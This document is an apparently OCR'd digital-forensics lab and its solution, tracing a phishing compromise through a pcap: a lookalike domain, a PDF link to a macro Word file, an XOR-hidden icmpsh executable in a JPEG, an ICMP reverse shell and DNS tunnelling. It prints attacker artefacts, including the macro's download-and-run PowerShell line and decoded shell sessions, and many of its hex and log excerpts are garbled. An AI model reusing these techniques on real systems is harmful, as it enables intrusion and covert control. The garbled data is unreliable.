Lab-1010 (Challenge): “This is getting heavy, Doc...”

Evidence: lab-1010.pcap

Takeaways: Students will analyze provided network packet capture evidence of a
compromised network scenario and attempt to solve “what happened” with as much
detail as possible.

The scenario:

Dr. E. Brown was notified by Strickland’s Incident and Event Management (SIEM) system of a possible
breach in his network. He quickly dispatched his Incident Handler to obtain a network packet capture
over the period of four days and believe they have most of the traffic. Dr. Brown is seeking YOUR help to
understand what happened...should he be concerned?
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Slacker Alert:
Impersonation Alert: The domain “ebrown-enterprises[.Jcom” was detected as a potential
impersonation of the domain e-brown-enterprise[.Jcom.

First Detected: 2020-09-20 00:20:30 UTC
Last Detected: 2020-09-20 00:20:30 UTC
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e-brown-enterprises.com (Dr. Brown'’s legitimate domain)
mail.e-brown-enterprises.com (173.230.154.59)
192.168.88.0/24 (IP space inside Dr. Brown’s network)
What happened?

Timeline of Key Events

Should Doc be worried?

I0Cs?

© 2021 0Byte Offset, LLC

DO NOT DISTRIBUTE



3k 3k 3k 3k 3k 3k 3k 3k 3k ok 3k 3k 3k 3k 3k 3k 3k sk 3k 3k 3k 3k 3k 3k 3k 3k sk 5k 3k 3k 3k 3k 3k 3k 5k 3k 3k 3k %k 3k 3k 3k 3k 3k 3k 3k >k %k 3k 3k 3k 3k 3k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k %k 3k %k %k %k sk >k >k k k k k

Solution to Challenge
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#fields ts
#types time
1631900573,
1631941710.
1631941712.
1631941713.
1631941713.
1631941714.
1631941714.
1631941714,
1631941712.
1631941716.
1631941716.
1631941716.
1631941718.
1631941719.
1631941715.
1631941723.
1631941717.
1631941723,

duration

string bool
smtp .955918
.226184
.055050
.065577
.055076
.069592
.400583
.168735
.855479
082058
237572
.538527
.068202
.057286
.646940
.566347
.469936
744271

service
count
tcp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp

uid
string
676445
393590
387332
580145
972410
027632
088570
355693
141033
463258
942596
857823
054151
152805
232415
329263
162372
822239

id.orig_h id.orig p id.resp_h
addr port addr port enum string
CAMFD84GEAYX3NF Lvk 209.85.167. 44769
CuADYn2XgEOU391itbf 192.168. 57096
C12Eh440GbCwIGu6C] 192.168. 64006
CwIpWT1LRuyzT310yf 192.168. 60111
CwlzzTatAvzp4dtEvb 192.168. 51882
CaZc1viQn3fu7tsf24 192.168. 58261
CygRhc36nBPE0a09cl 192.168. 51446
CwcBUs1iCnx5tCZwj 192.168. 49937
CRc6BBAKAE3XRAqvh 192.168. 50130
Cdii21411ZFLEgD]95 192.168. 49982
Cp6n0O3RYalli2e5Lh 192.168. 51823
Cs4fCQ1xp3zI6Jcam8 192.168. 60116
Cfguor5pkGNO4Aby7 192.168. 63285
CBIfsp3QhXTrF3PMS7 192.168. 63641
C7VLXmgxqaxrGlals 192.168. 55997
Cv1ELK29MdhObjjy7a 192.168. 56870
CXGFXA2FvVuWL jcpPd 192.168. 55268
C6Vkgy39d06bov3sS9 192.168. 65006

id.resp_p
interval
173.230.
142.251.
142.250.
142.250.
172.217.
142.250.
172.217.
142.251.
142.251.
142.251.
172.217.
142.250.
142.250.
142.250.
142.250.73.234
142.250.188.193
172.217.2.97
65.196.86.16

proto
count
25
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443

orig_by
bool
154.59
45.100
188.35
73.227
0.46
73.206
13.226
33.194
45.100
33.194
164.129
188.35
73.227
81.198

1
(0]
0
[¢]
(0]
[0]
[¢]
(0]
P
0.
(0]
(0]
0
[¢]
4
1
6
0.

L £ =

209.85.167.54 173.230.154.59

23216 bits), 2902 bytes captured (2327
1 (0@4:c5:a4:e8:4f:c1), Dst: f2:3c:92:]
Cc: 209.85.167.54, Dst: 173.230.154.59
Src Port: 44769, Dst Port: 25, Seq: 14

Content-Type: text/plain; charset="UTF-8"

2c

14 26 53 8c 09 80 10 ;

a4 e8 4f cl 08 00 45 00 < [
2b db d1 55 a7 36 ad e6

H['-h. 4

Doc,

Attached is the flier that is now posted on your website. Thank you again
for your time and support for our great cause!

-Hill valley Preservation Society

a] !

On Fri, Sep 17, 2021 at 8:12 AM Dr. Emmett Brown <
doc@e-brown-enterprises.com> wrote:

Hello and good day,

>

> Has the date and location been confirmed for the upcoming benefit dinner?
>

3 clignk obfc Bconprabbc 12 b,

LS p U E.;: c;,{] : = = (= &) H In-Reply-To: <CAGPG_juBJnYGSFUiVACSt-ct3SRMAfyYC2LTZsTr8eN2HQZrYg@mail.gmail.com> |«
— From: ClockTower Lady <savetheclock55@gmail.com>
Date: Fri, 17 Sep 2021 13:42:41 -0480
Source Destination MessageTID: fCAGpG_jvJvJ1yVG9Ep§BQfAbeaqoaccsTJ]DV32KP31ubq22Pw@maJl.gmall‘com>
{ |Subject: Fwd: 65th Annual Benefit Dinner
209.85.167.54 173.230.154.59 To: Doc@e-brown-enterprises.com
173.230.154.59 209.85.167.54 Content-Type: multipart/mixed; boundary="080008000008F4c8FdA5CcC347548"
209.85.167.54 173.230.154.59
Rl T LUl 2 1 - -008000000000F4c8TdO5CC347548
173.230.154.59 209.85.167.54 Content-Type: multipart/alternative; boundary="080000000000f4c8Ta®5cc347546"
209.85.167.54 173.230.154.59
173.230.154.59 209.85.167.54 --0000PEEEEREAT4c8Tan5cc347546

Email Message — Phish Sent to Doc Brown
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Content-Type: application/pdf; name="2021-benefit.pdf"
Content-Disposition: attachment; filename="2021-benefit.pdf"
Content-Transfer-Encoding: base64

Content-ID: <f_ktobtbpje= 1

X-Attachment-Id: f_ktobtbpjo

JVBER1OxLjcNCiWltbwWiDQoxIDAgb2JqDQo8PCIUeXBlL ONhdGFsb2cvUGFNZXMgMiAWIFIVTGFuU
ZyhlbilVUykgL1N@cnVjdFRyZWVSb290IDE4IDAgUi9NYXIrSWSmbzw8LE81hcmt 1ZCBAcnV1Pj4v
TWVEOYWRhdGEgNDQgQMCBSL1ZpZXd1lclByZWZ1lemVuY2VzIDQ1IDAgUj4+DQplbmRvYmoNCjIgMCBv
¥moNCjw8L1R5cGUVUGFNZXMvQ291bnQgMS9LawWRzWyAzIDAgULOgP jANCMVUZG91iagOKMyAWIGO1
agOKPDwvVHIwZS9QYWd1L1BhecmVudCAYIDAgUi9SZXNvdXJjZXMBPCIFeHRHU3ZRhdGUBPCIHUZzUg
NSAWIFIVRIM4IDggMCBSPj4vRmOudDw8LeYxIDYgMCBSLEYyIDkgMCBSLEYzIDEGIDAgU]j4+L1hP
¥YmplY3Q8PCOJbWFNZTE3IDE3IDAgUj4+L1Byb2NTZXRbL1BER1SUZXhOLE1tYWd1Q19JbWFnZUMv
SW1hZ2VJIXSA+Pi9BbmSvdHNbIDE2IDAgU10gLE11ZG1hQmo4wyAwIDAgN]EyIDc5M10gLeNvbnR1
bnRzIDQgMCBSLAdyb3VwPDWwvVHIWZSOHcm91cCOTLIRY YWSZCcGFyZWSjeS9DUYSEZXZpY2VSRAT+
Pi9UYWJIzL1MvU3RydWNOUGFyZW58cyAwP j4NCMVuZG91agBKNCAWIGI1iag@KPDwvRmlsdGVyLBZs
YXR1RGVjb2R1LEx1bmdeaCAxMTESPj4NCNNEcmVhbQeKe JytVotu2eYQfRegf5hHO jDXe1+yMARY
spq4bZo@FpKHOA+MTNLELCcqlKBv6+87sUootSy JESAIIBuzszNmS7fLsom7K23zawPDDCP7t9zhw
XVFNBVcGrJDgMgli10e99PYGq3zt7d23gboGCzHEJAV/ 1Xb+XcEhwYpZlztIsJmge3mnm7Um/91e/

DOMOANI~F AN O MM ~ASk] A% AT DO ) JIF D M T e A A DT WAA-AE] bhFDs S oy T F O T MmN DD ONO 0

Base64 Content of Attachment in Email

cbmc3dvp9nAN7g5eb59]OMALOTw+d5ThwTU7iJaDnKms tCAGDDCc4ANDDQSwhIureefx7X7h3i+her =
USHQ1I8xxdWc38t1+VwOvBvAOd2DA4CzgXNANNyAZzw2t XdDFBd+0QW7ASet3+/3ArnM1wTOImh8a
AHxFkOjGIXjwNOESIMBAZ+scE6vIbOOWt cK4BnxMcABQb7gXNwiQbhkHdng6+ISd2raDexXk/fSi7L
nclbL6w7cPg+aXljYzx9rkGMGzbU+AD49BCvGQSBLDeM4Anf1Y6v63DCqezvs6fMEnBPRc/BQgZ0B
014YCj6H/APgrE4XVhP36XX1DUXEFALIS1L0jg@CDAGTXnenG2T0i4zErtXt7evzEhcQoDZwnY5B
kNXrCT1O0AhZvX7 /WwPT8fJIcnb9i93D3gcrodeV5fTz4+yoeeSwTXzwbzErcYxIJhNhe01QvF2KtC
jzrc4zUMBzIv6IShcalwSUHBEbgnRjOGCkIBROY2YeMMkhAAVQECF5zV43MAMK4D1+2D2ATv6epl
+HpAZAwxYAUWhdM5by TEpAeD4iD5J0hnPiwLLIBjcNALKYPIw+ntGuoHizj4sHf3ATIZmOMEbb1m
IaG8lkekcrpwRuDtcMF+3LDb34urw9zNILghlj7Y30cGP+XHxrx8fEqQFEUQQYQENXL/ X6e7G3y4C
YMAQKDTYSwIWWHcO4eAdxIWC14CG+aD4oAtyNHDAthZQugCofMDDkHZQCEQTIYZ7vF3foyMOgy G
BARXEQZOLyReIssyV5c/6GDj fgz073STwlvOu7ij07vCFTYvQP7DIUPKWUE2MO4pQtNg rwO@6nRN
1FxHmMKI+PPygH5wlp14IXj7QvwBAHG81Ng65saqlzWg3chXNXJ09cX5tpa2Sy7Q2w3GmgWurbalp
bG3hoIfd2tDSzjVWcdaGdmSubUOlgbMtal LbmpuSRjtXW99UV2uDutqGirrivytqGam42nNTQCNNP
LUQiMG1p5PCAAqtaWzNmVm+zV9TAoXV2bV1tS7uBg6ptacA8g4CplWuy2ltqKirrrHauqdxXeiNhs
g+ErgW1DbUOVHUax1dsaWvJgVKjjbPPhgGuusdbVkaGsrsC9nchXedjubg+trmnhahrrkKm1QodsG
k11ln19n4oUCpijprbb2Bq7 TWW6tt5KxG4GIN3QTp2mpspArGs8LfipbaxgasRkVjQ4sdDg2gpbBl
dGpbbbPNwFNt tc®YKCp7I7DHCMIZjYQInNdg471gqLkJFOEU+L112TYUS6XNWge8mvHI4Zen3j1lq
gCuNHNK9gaSkwlv81BCKhGUYExNqu8kVUNhNFTnXH17HbGCeYkaZ38LnwxP6/1h3qSh34yf34yf3
4/ /f78Fz91Qn9+T/M/TkeetN7stP7stP7stP7sufmB@n9+Yn7s@HEZncnS/cn5/cn/8325+/4DWu
+7xr XLwKxB1lnBYV1jwRXvhNZqsr4ZJHOIn+TRide9J+B70fUNNHOCE6SPhSpMzwmt qyPcKevB@8saWl
5Bk fyv18Z1p5UeknSMCmsLPYGWwWFWBYWshZ2JjuXLZtwZssFr+Dn4m9kgvqltTivDYA+EBZAKUpY
Jg2y9kTUVMIKm+Gf/j+bSb1JIXfgPEr6z8NsAzj5PjODHDFLOLPiXavXlewxcxUpfndGrormWG7g6
h99j9Tk6Ddz5bXifkuSB+PPvCBC/pJ/Dt4YfLmm7cSRpqlg27Zgaa76NRBLE9pGk tVC1mkbIpDDK
xKKcKIZOFFFGh1ieIOYsGimhEXt7s3GeORBWo70]jeY2WuoSURjKpeMkyDy9CZuFilIUxYzUNA1k7
HiwvvTn+wNcypiHho6xbTZfePpLQYhxhDx1HmPtuZ2hE®20ziPjELE0/ /t1dUX8xEoGTNkaGpEU1
kGuYiMm@smI13dpsUhtV+ECqlrc5Bnvdnh6/12NSGqNwpUQt sbuc/VEPE5Rs10TauTp2/MZC2I0X
k86YgtsZdcJl4e4u735Xb7HFOD3BNFVZjcnykqdhYZiwx IRSVFpYthMPSSEP]1Y/8KJJFGOW4XaFm
rIeVpkxjBn+U7K1lwD+C7AIXNNSTW3DCOtNBcmWsuqSrorTIZCOOZxjReIe@FFWrm76UYR1BqOMBI
RDE]thCP]nghBlUHkXXbbFl3dLh;d+l3HLVV;IV+hg¢t5nblleU:5mUdff3]Wan&3LX N5ff

PPy nimmmmm mem Lmamar Fmioaa — ra—— P E—— P T

63 client pkts, & server pkts, 12 turns.

| Entire conversation (157 kB) b | Sshow and save data as |ASCII = | Stream |0 %]
Find: | | [ Findﬂexl:]
| @Help | | Filter Out This Stream || Print || Saveas... | Back || @cClose |

TCP Stream Extracted via Wireshark
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SAVE THE CLOCK
TOWER

== Hill Hdlltu Telegraph »

—— e . -

CLOCK TOWER STRUCK BY LIGHTNING

CI.OCK STOPPED AT 10:04

The Hill Valley Preservation Society is proud to announce the host of this year's 65"
Annual Anniversary* dinner, Dr. Emmett Brown. Click here to view the full itinerary:

I 65th Annual Benefit Itinerary |

Attachment Decoded from Base64 in Email

strings 2021-benefit.pdf |grep -i http

$ strings 2021-benefit.pdf |grep -i http
<I’uhtype/L1nk,’Rect[ 238.75 220.71 373.25 243.2] [BS<</W 0>>/F 4/A<</Type/Action/S/URI/UR]( : [ /ebrown-enterprises.com/savetheclocktower /annual-benif|
It. >>/StructParent 1>>
<rdf DF xmlns:rdf=" [ W3, orgflq‘?ﬂ/@",f‘z rdf-syntax-ns#">

<rdf:Description ] :pd ://ns.adobe.com/pdf/1.3/">
<rdf:Description 3 ://purl.org/dc/elements/1.1/">
<rdf:Description 3 3 ' ://ns.adobe.com/xap/1.0/
<rdf:Description 3 X M=" ://ns.adobe.com/xap/1.0/mm/">

Strings in PDF Indicated a Link to ebrown-enterprises.com

Extracted URL:
hxxp://ebrown-enterprises[.Jcom/savetheclocktower/annual-benift.doc
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GET /savetheclocktower/annual-benift.doc HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.8) like Gecko
Accept-Encoding: gzip, deflate

Host: ebrown-enterprises.com

Connection: Keep-Alive

HTTP/1.8 200 0K

Server: SimpleHTTP/©.6 Python/3.7.3

Date: Mon, 20 Sep 2021 ©0:58:45 GMT
Content-type: application/msword
Content-Length: 50688

Last-Modified: Sun, 19 Sep 2821 20:38:28 GMT

Wireshark View of Link Fetched

Packet ~ Hostname Content Type Size Filename

167 ebrown-enterprises.com application/msword 50 kB annual-benift.doc
207 ebrown-enterprises.com image/jpeg 57 kB savetheclock.jpg
23579 137.184.39.243:8000 text/html 372 bytes /

23983 137.184.39.243:8000 multipart/form-data 704 kB [

23985 137.184.359.243:8000 text/html 398 bytes /

24000 137.184.39.243:8000 text/html 402 bytes /

24112 137.184.39.243:8000 multipart/form-data 123 kB [

24114 137.184.39.243:8000 text/html 398 bytes /

24131 137.184.39.243:8000 text/html 432 bytes /

Wireshark used to Extract annual-benift.doc from Capture

strings annual-benefit.doc
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SCustom

Microsoft.XMLHTTP

Adodb.Stream$
http://ebrown-enterprises.com/savetheclock. jpg
t-Type

//binaryenC@

c:\tmp\savetheclock. jpg

//overwrite

POWERSHELL .exe -noexit

"C:\get-shell.psl savetheclock.jpg key=136"
Attribut

e VB_Nam
e = "Mod

ulel"
riva
nSub
Documen
t_Open()
D
xHttp: S
Object("
Microsof
t.XMLHTT
rdloa
9Adod
b.St

___ /T
Strings in Word Document Showed VBA (macro) and PowerShell Command

file savetheclocktower.jpg

§ file savetheclock. jpg

savetheclock. Jpg JPEG image data,| JFIF standard 1.02, resolution (
sion 8, 516x41/7, components 3

File Command against JPEG File Showed Actual JPEG
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savetheclock.jpg 52

savetheclock.jpg

| yara ~/yara_rules/xorsigs.yar savetheclock.jpg -s |

S yara ~/yara_rules/xorsigs.yar savetheclock.jpg -s

XorDos savetheclock. jpa
0x96583$_136_88:| DC EO E1 FB A8 F8 FA E7 EF FA E9 E5 A8

Yara Rule Indicated an Xor-Encoded EXE inside JPEG
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savetheclock.jpg* x

c i A .
DDDDQSdD 75 C3 77 88 5F BT 78 24 45 ED 30 57 71 FD F7 TF|u.w._.X$E.0Wg...
000095e0 |4F 7A BD 1B BE D3 99 43 76 21 FG 2B 71 82 EE C4 |0Dz..... Cv!.+g...
DooOo9s0f|2B 27 17
00009600 |AB 13 F7T
00009610 |88 88 04
00009620 |88 88 40|68 BB BE BB ©88 B8B8B B8 B8 88 88 88 gele8 |..0... 0.
00009630 |88 B8 B8| G568 B8 B85 BB 88 BB 88 BB BB 88 88 B8B|B8 | .. ... .l vuuunn.
000092640 |88 B8 B8 ©o oo oo ol vo oo oo UE LF BA UE 88 B4 |.eeeeaWeeiwnuwann
00009650|09 CcD 21 B8 01 4C CD 21 DC 68 ©9 73 20 70 72 eF||..!..L.!.his pro
00009660 |67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 |gram cannot be r
00009670 |75 6E 20 ©9 B6E 20 44 4F 53 20 6D 6F 64 65 2ZE 0D |un in DOS mode..

00009680 |0D OA 24 B8 B& 88 88 B8 B&6 88 50 45 88 88 4Cc 01 |..5....... PE..L.
00009690 |03 88 D4 1F 09 4C 88 26 BB 88 60 0Z 88 88 EO 8B|..... L.&.. ...,
00009620 |07 03 OB 01 D2 38 88 20 BB 88 88 10 88 88 88 T0|..... By vevnans P

D00096k0 |BE& 88 CO BE BE 88 88 BO B8 88 88 RO 8B 88 88 8B |....cevuvenncnnn
D00096cD |40 B8 88 10 B8 88 88 0DZ BB 88 04 BB 8B 88 01 BB|@....veeeenunann.
D00096d0 |B& 88 04 B8 BE 8B B8 BB BB 88 B8 BO BB 88 88 10|....cveerennnnn.
D00096e0D |B& B8 88 B8 BE8 88 03 BB BB 88 88 BB 20 88 88 10|............ .o
0000960f |B& B8 88 BB 10 88 88 10 BB 88 B8 B8 8B 88 10 BB |.....ccivennnan..
00009700 |B& 88 88 |6t SE6 o8 8o BE OC o8 BU|AD 88 88 D8 BB |.....coeuvennann.
00009710 |B& B8 88|88 BE 88 88 BB BB 88 B8|B8B BB 88 88 BB|........n..
00009720 |B& B8 88|86 BE B8 BB BE BB B8 BB|BB BB B8 B8 BB|.....c0eeiennann.
00009730 |B& B8 88|66 BE 88 88 BE BE 88 B8|E6B 8B 88 88 BB |......c.00cuuan..
00009740 |B& B8 88|86 BG 8B 88 BE BE 58 BB|B8 BB B8 B8 BB|........ ...
00009750 |B& B8 88|68 BB B8 88 BE BB 88 B8|G6B 8B 88 88 BB|.....cc0ieian..
00009760 |BE& B8 88|88 BE 88 88 BE BB 88 B8|BB BB 88 88 BB|.....c.0an..
00009770 |BE& ©8 B8 |68 BB ©8 88 56 BB 88 B8|68 88 88 88 8B |....ieeeirennann,
00009780 |B& 88 55 50 58 30 88 BB BB 88 88 70 8B B8 88 10|..UPX0..... P---.
00009790 |B& B8 88 BE BG 8B B8 02 BB B8 B8 BB BB B8 B8 BB|.....ccivennann.
D00097a0 |BE& B8 88 B8 BE& 88 80 B8 BB EO 55 50 58 31 88 BB|..........

(0x960a,0x960a)

$ python ~/py_scripts/single_byte.py
Usage: /home/ndflr/py_scrlpts/51ngle byte.py <file_to_decode> <hex_key> [e|E]
e - escapes the key (i.e. does not xor the value)
E - escapes the key and all Null bytes

Example:
/home/ndfir/py_scripts/single_byte.py evil-encoding.txt 0x55
or
home/ndfir scripts/single_byte.py evil-encoding.txt 55 E
single_byte.py Script used to Null and Key Escape the Xor Routine

© 2021 0Byte Offset, LLC

DO NOT DISTRIBUTE



/home/ndFirflabs/1010/artifacts/savetheclock.jpg_0x88_E - Bless

File Edit View Search Tools

.0Wg. ..
«Hg. ..
G.L.W.

00009650 |09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F|..!..L.!This pro
00002660 |67 72 61 6D 20 &3 6l 6E 6E eF 74 20 62 &5 20 7Z|gram cannot be ¢
00009670 |75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 63 ZE 0D|un in DOS mode..

00009680 |0D OA 24 00 0O 00 00 OO0 0O 00 50 45 00 00 4C 01 |..5....... PE..L.
00009690 |03 00 D4 1F 09 4C 00 Z6 00 00 60 0OZ 00 00 EO OO|..... L.&.. ...,
000096a0 |07 03 OB 01 02 38 00 20 00 00 OO0 10 OO0 OO0 OO0 70)..... Be wevwsane P

EXE Found at 0x9609 Offset of JPEG File (savetheclock.jpg)

S file savetheclock exe

savetheclock_exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
File Command Confirmed Windows Executable
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31 (1) 31security vendors flagged this file as malicious

ec39a0954cdbeb72399015869¢4c1034a0f2656c8bfdfdb0e546586fb2d8bOec 18.59 KB 2021-11-08 20:21:38 UTC
icmpsh.exe

g overlay peexe  upx

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY @

Alibaba ‘\l./' HackTool:Win32/ICMPShell.73a5e429 Antiy-AVL ‘l) Trojan/Generic. ASMalwS.83631A
Avast (1) Win32:Malware-gen AVG I, Win32:Malware-gen

Cylance (D) Unsafe Drveb (1) Trojan.NtRootKit.19456
ESET-NOD32 (‘\_;‘l A Variant Of Win32/HackTool. Agent.NHH Fortinet i‘ Riskware/ICMPShell

Gridinsoft (1) VirtoolWin32.NetToolvb Ikarus (1) Not-a-virus:NetToolICMPShell @

Hash of Extracted EXE Match in VirusTotal

1632100672. 509407 ChewUc3tw0gSaCi6z5 .168.88. o .39.243 53 0.002845 (3]
1632100672 .605638 CzNM5H2aX1368trJh1 .168.88. . .39.243 53 0.004236 69
1632100672.717579 CGgkbazLeVvQagdKzZk .168.88. o .39.243 53 0.002956 69
1632100672.839996 CBVwPm20nQ4vtcHIJ1 .168.88. . .39.243 53 0.002500 69
1632100672.935529 CZzeNz3HDwcvvo7gZ5 .168.88. o .39.243 53 0.002058 69
1632100673 .028414 CkvROU39BsDZ4aNiWa .168.88. o .39.243 53 10.013122 207
1632099769. 682634 CpankrinjkwolXmLG5 .168.88. . .39.243 0 1703.199962 17633
1632101997.416490 CIJ77jkk7g21Y598h .168.88. o .39.243 0 732.967609 4961
1632102513.674221 CzU7sV1bxcAFW10gbi .168.88. . .39.243 8000 0.000471 247
1632102528. 502292 CHFY jM3mZcSo4WUBGa .168.88. o .39.243 8000 0.572584 705115
1632102530.741042 CdNSsI28v62XQKIngc .168.88. o .39.243 8000 0.000924 285
1632102537.946645 CsG1ah24Ru5G1ZQjre .168.88.55 .39.243 8000 0.351029 124360

ICMP Traffic in Zeek conn.log

[icmp
No. Time Source Destination Protocol Length Info

230 2021-09-20 ©1:02:49.682.. 192.168.88.55 137.184.39.243 ICMP 56 Echo (ping) request 1d=0x0001, seq=209]
231 2021-09-20 01:02:49.683.. 137.184.39.243 192.168.88.55 ICMP 42 Echo (ping) reply id=0x0001, seq=209]
232 2021-09-20 102:49. o o .88. o .39. request 1id=0x0001,

233 2021-09-20 01:02:49.961.. 137.184.39.243 192.168.88.55 ICMP 42 Echo (ping) reply id=0xe001, seq=209
234 2021-09-20 01:02:50.252.. 192.168.88.55 137.184.39.243 ICMP 106 Echo (ping) request id=0x0081, seq=209
235 2021-09-20 01:02:50.252.. 137.184.39.243 192.168.88.55 ICMP 42 Echo (ping) reply id=0x0001, seq=209
236 2021-09-20 01:02:50.523.. 192.168.88.55 137.184.39.243 ICMP 56 Echo (ping) request 1id=0x0001, seq=21©
237 2021-09-20 01:02:50.524.. 137.184.39.243 192.168.88.55 ICMP 42 Echo (ping) reply id=0x0001, seq=216

v Frame 232: 106 bytes on wire (848 bits), 1086 bytes captured (848 bits)

+ Ethernet II, Src: Te:00:00:00:01:01 (fe:00:00:00:01:01), Dst: aa:e7:9c:97:66:aa (aa:e7:9c:97:66:aa)
» Internet Protocol Version 4, Src: 192.168.88.55, Dst: 137.184.39.243

» Internet Control Message Protocol

aa e7 9c 97 66 aa fe 00 80 60 01 01 08 00 45 60 T E
00 5¢c 65 19 80 00 f5 01 f5 fc cB® a8 58 37 89 bs \ X7
27 f3 08 00 89 63 00 01 08 32 4d 69 63 72 6T 73 ! [+ 2Micros

6f 66 74 20 57 69 6e 64 6f 77 73 20 5b 56 65 72 oft wWind ows [Ver
73 69 67 6e 20 36 2e 31 2e 37 36 30 31 5d 0d Ga sion 6.1 .7601]
43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 Copyrigh t (c) 20
30 39 20 4d 69 63 72 6f 73 6f 09 Micro so

ICMP Traffic viewed in Wireshark Indicated Command Shell Activity

tshark -nnr no-UDP-443.pcap -Y 'icmp' -T fields -E separator='|' -e ip.src -e
'data.data’ |cut -f 1,3 -d ' ' |cut -f 2 -d '|' |grep -oP '[©-9a-f]{1,}' > icmp.out
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4d69637261736f66742057696e646F7773205b56657273696F6e20362e312e373630315d0d0a436T70797269676874202863292032303039204d6963726f736F
667420436F72706T72617469616e2e2020416c6c207269676874732072657365727665642e0d0a0d0a633a5¢c55736572735c64627261776e5c4465736b746f70
3e

64690a
64690a27646927206973206e6f74207265636T676e697a656420617320616e20696e7465726e616c206f722065787465726e616c20636f6d6d616e642c0d0a6T
70657261626c652070726F6772616d206f722062617463682066696c652e0d0abd0a633a5c55736572735c6462726T776e5c4465736b7461703e

64697203
6469720a20566F6c756d6520696e206472697665204320686173206e6T206c6162656c2e0d0a20566f6c756d652053657269616c204e756d6265722069732038
4333322d353233340d0a0d0a204469726563746f7279206T6620633a5¢55736572735c6462726F776e5c4465736b746f700d0a0d0a30392131392f3230323120
2030383a353520504d202020203c4449523e202020202020202020202e0d0a30392131392f32303231202030383a353520504d202020203c4449523e20202020
2020202020202e2e0d0a30392f3139232303231202030383a353520504d20202020202020202020202020202020203020746d702e7478740d0a30392131392f
323032312020303833333120414d20202020202020202020202031392c303333207570646174652e6578650d0a20202020202020202020202020202032204669
6c6528732920202020202020202031392¢3033332062797465730d0a2020202020202020202020202020203220446972287329202033362c3331332¢3333332¢
37363020627974657320667265650d0a0d0a633a5c55736572735c6462726F776e5c4465736b746703e

636420633a5c0a

63642063335c0a0dBab33a5¢c3e

6469720a
6469720a20566F6c756d6520696e206472697665204320686173206e6T206c6162656c2e0d0a20566f6c756d652053657269616c204e756d6265722069732038
4333322d353233340d0a0d0a204469726563746f7279206T6620633a5c0d0a0d0a30362131302132303039202030353a343220504d2020202620202020202020
20202020203234206175746F657865632e6261740d0a30362131302f32303039202030353a343220504d20202020202020202020202020202020313020636f6e
6669672e7379730d0a30392131392132303231202030393a333820414d202020203c4449523e2020202020202020202065625f69646561730d0a30372131332f
323030392020313033333720504d202020203c4449523220202020202020202020506572664c6F67730d0a31302130372f323031352020303232303220504d20
2020203c4449523e2020202020202020202050726T6772616d2046696c65730d0a31302130372323031352020303232303320504d202020203c4449523e2020
2020202020202020507974686f6e32370d0a30392131392f323032312020303833323520504d202020203c4449523e20202020202020202020746d700d0a3039
2f31392f32303231202030393a333020414d202020203c44495232020202020202020202055736572730d0a3039213136232303231202030383a323020414d
202020203c4449523e2020202020202020202057696e646f77730d0a202020202020202020202020202020322046696C65287329202020202020202020202020
2033342062797465730d0a2020202020202020202020202020203720446972287329202033362c3331332¢3333332¢37363020627974657320667265650d0a0d

ICMP Payload Data Extracted via Tshark

Recipe B ®F e ==
b4bbbcZbble/s2bl/20a
From Hex 64656Cc20662e7261720a633a5c746d7@5¢c662e7261720d0ad163636573732869732064656e69656
42e0d@a@d@ab33a5c746d703e
Delimiter 64656c20752e70733108a
Auto 64656c20752e7073310a0d@a633a5¢c746d703e
65636861202254484953208495320464152205220425241544845525a2057452084¢c4153542041542

04c414e452050494e45204d414c4c2121222083e205355434b49542e545854@a

@a
65636861202254484953208495320464152205220842524154484552522057452084c41535420841542
84c4f4e452050494e45204d414¢c4¢21212220832205355434b

time: S54ms

Output length: 23647 a rD M 7

lines: 764

Microsoft Windows [Version 6.1.7661]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\Users\dbrown\Desktop>di

di

'di' is not recognized as an internal or external command,
operable program or batch file.

c:\Users\dbrown\Desktop>dir

dir

Volume in drive C has no label.
STEP H Volume Serial Number is 8C32-5234

CyberChef used to Decode Hex of ICMP Payload
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Directory of c:\tmp
09/19/2021 ©8:25 PM <DIR>
09/19/2021 ©8:25 PM <DIR> .
09/19/2021 ©8:24 PM 11 get-shell.ps1
09/19/2021 ©8:206 PM 57,445 savetheclock.jpg
2 File(s) 57,456 bytes
2 Dir(s) 36,313,333,760 bytes free
Decoded ICMP Payload
Directory of c:\tmp
09/19/2021 ©8:25 PM <DIR> .
09/19/2021 ©8:25 PM <DIR> .
©9/19/2621 ©8:24 PM 11 get-shell.psl
09/19/2021 ©8:20 PM 57,445 savetheclock.jpg
2 File(s) 57,456 bytes
2 Dir(s) 36,313,333,760 bytes free

© 2021 0Byte Offset, LLC
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Decoded ICMP Payload




c:\Users\dbrown\AppData\Roaming\Adobe\updater>time
time

The current time is: 21:04:37.22

Enter the new time: at 21:10 cmd /c dload.bat

at 21:106 cmd /c dload.bat

c:\Users\dbrown\AppData\Roaming\Adobe\updater>at
at
There are no entries in the list.

c:\Users\dbrown\AppData\Roaming\Adobe\updater>at 21:18 cmd /c dload.bat.bat
at 21:10 cmd /c dload.bat.bat
Added a new job with job ID = 1

c:\Users\dbrown\AppData\Roaming\Adobe\updater>at
at
Status ID Day Time Command Line

Decoded ICMP Payload Revealed Scheduled Job to Run Bat File

id.resp_h rtt z

interval count

.39.243 53 .e-brown-enterprises.com TVQQAAMAAAAEAAAA/ /8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA
.39.243 53 .e-brown-enterprises.com tgJq7OUCXX02AmrvRALGC7YCQNNXAtXxZztgL1LbUDXn02AuUtswP1c7YCS
.39.243 53 .e-brown-enterprises.com AAAAAED1BQAAEAAAAEAHAAAAQAAAEAAAAATAAAUAAQAAAAAABQABAAAAA
.39.243 53 .e-brown-enterprises.com AAAAAAAAZMWHABGAAAAT zACAQAAAAAAAAAAAAAAAAEAHATQCAAAAAAAAA
.39.243 53 .e-brown-enterprises.com +01BAAAQCAAAKgAAAPGHAAAAAAAAAAAAAAAAAEAAAMAUD GXZAAAAAAKAA
